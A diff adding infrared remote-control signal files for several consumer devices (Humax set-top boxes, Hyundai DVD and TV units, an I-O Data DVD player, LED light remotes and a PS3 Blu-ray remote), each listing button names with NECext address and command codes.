00 +# +name: pip +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 46 00 00 00 +# +name: swappip +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 47 00 00 00 +# +name: movepip +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 48 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 49 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 4A 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 4D 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 4E 00 00 00 +# +name: directory +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 4F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 60 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 61 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 62 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 63 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 64 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 65 00 00 00 +# +name: instreplay +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 66 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 67 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 68 00 00 00 +# +name: pipch +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 69 00 00 00 +# +name: setbookmark +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 6A 00 00 00 +# +name: listbookmarks +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 6B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir new file mode 100644 index 000000000..3dd704c55 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 00 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 07 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0C 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 12 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 14 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 15 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 18 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 40 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 41 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 43 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 4D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 60 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 61 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 62 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 63 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 64 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 65 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir new file mode 100644 index 000000000..a65f8f475 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 00 00 00 00 +# +name: tv/sat +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 07 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0C 00 00 00 +# +name: ton +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 12 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 14 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 15 00 00 00 +# +name: gray +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 16 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 18 00 00 00 +# +name: white +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 40 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 41 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir b/assets/resources/infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir new file mode 100644 index 000000000..f18c84a60 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 08 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 09 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0C 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 13 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 15 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 16 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 17 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 18 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 19 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1A 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1B 00 00 00 +# +name: A-MODE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1C 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1D 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1E 00 00 00 +# +name: V-MODE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1F 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 40 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 41 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 42 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 43 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 44 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 45 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 48 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 49 00 00 00 +# +name: VIRTUAL +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4C 00 00 00 +# +name: KEY_MINUS +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4D 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 50 00 00 00 +# +name: L/R/ST +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 51 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 52 00 00 00 +# +name: S_EFFECT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir b/assets/resources/infrared/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir new file mode 100644 index 000000000..9de85f571 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 0A 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 10 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 12 00 00 00 +# +name: AUTO/CC +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 13 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 14 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 1C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 1D 00 00 00 +# +name: CH_SEARCH +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 1E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: AA 03 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir b/assets/resources/infrared/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir new file mode 100644 index 000000000..a7c951407 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 10 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 11 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 12 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 13 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 14 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 15 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 16 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 17 00 00 00 +# +name: PLAY_/_PAUSE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 18 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 19 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1A 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1B 00 00 00 +# +name: SERVER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1C 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1D 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1E 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 40 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 41 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 42 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 43 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 44 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 45 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 46 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 47 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 49 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4A 00 00 00 +# +name: TV_MODE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 50 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 51 00 00 00 +# +name: RELOAD +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 52 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 53 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 54 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 55 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 56 00 00 00 +# +name: A_-_B +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 57 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 58 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 59 00 00 00 +# +name: URL/CODE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5A 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5B 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5C 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5E 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir new file mode 100644 index 000000000..964c3d986 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: Brightness+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 80 00 00 00 +# +name: Brightness- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 81 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 82 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 83 00 00 00 +# +name: KEY_R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 84 00 00 00 +# +name: KEY_G +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 85 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 86 00 00 00 +# +name: KEY_W +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 87 00 00 00 +# +name: orange +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 88 00 00 00 +# +name: pea_green +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 89 00 00 00 +# +name: dark_blue +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8A 00 00 00 +# +name: FLASH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8B 00 00 00 +# +name: dark_yellow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8C 00 00 00 +# +name: cyan +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8D 00 00 00 +# +name: brown +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8E 00 00 00 +# +name: STROBE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8F 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 90 00 00 00 +# +name: KEY_LIGHTS_TOGGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 91 00 00 00 +# +name: pink +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 92 00 00 00 +# +name: FADE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 93 00 00 00 +# +name: straw_yellow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 94 00 00 00 +# +name: sky_blue +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 95 00 00 00 +# +name: purple +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 96 00 00 00 +# +name: SMOOTH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 97 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir b/assets/resources/infrared/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir new file mode 100644 index 000000000..5985bbcfd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 0B 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 0E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 0F 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 15 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 16 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 1A 00 00 00 +# +name: POP_UP_MENU +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 1B 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 28 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 2F 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 30 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 32 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 33 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 34 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 39 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 40 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 41 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 42 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 43 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 53 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 54 00 00 00 +# +name: SLOW_REV +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 60 00 00 00 +# +name: SLOW_FWD +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 61 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 1A 23 00 00 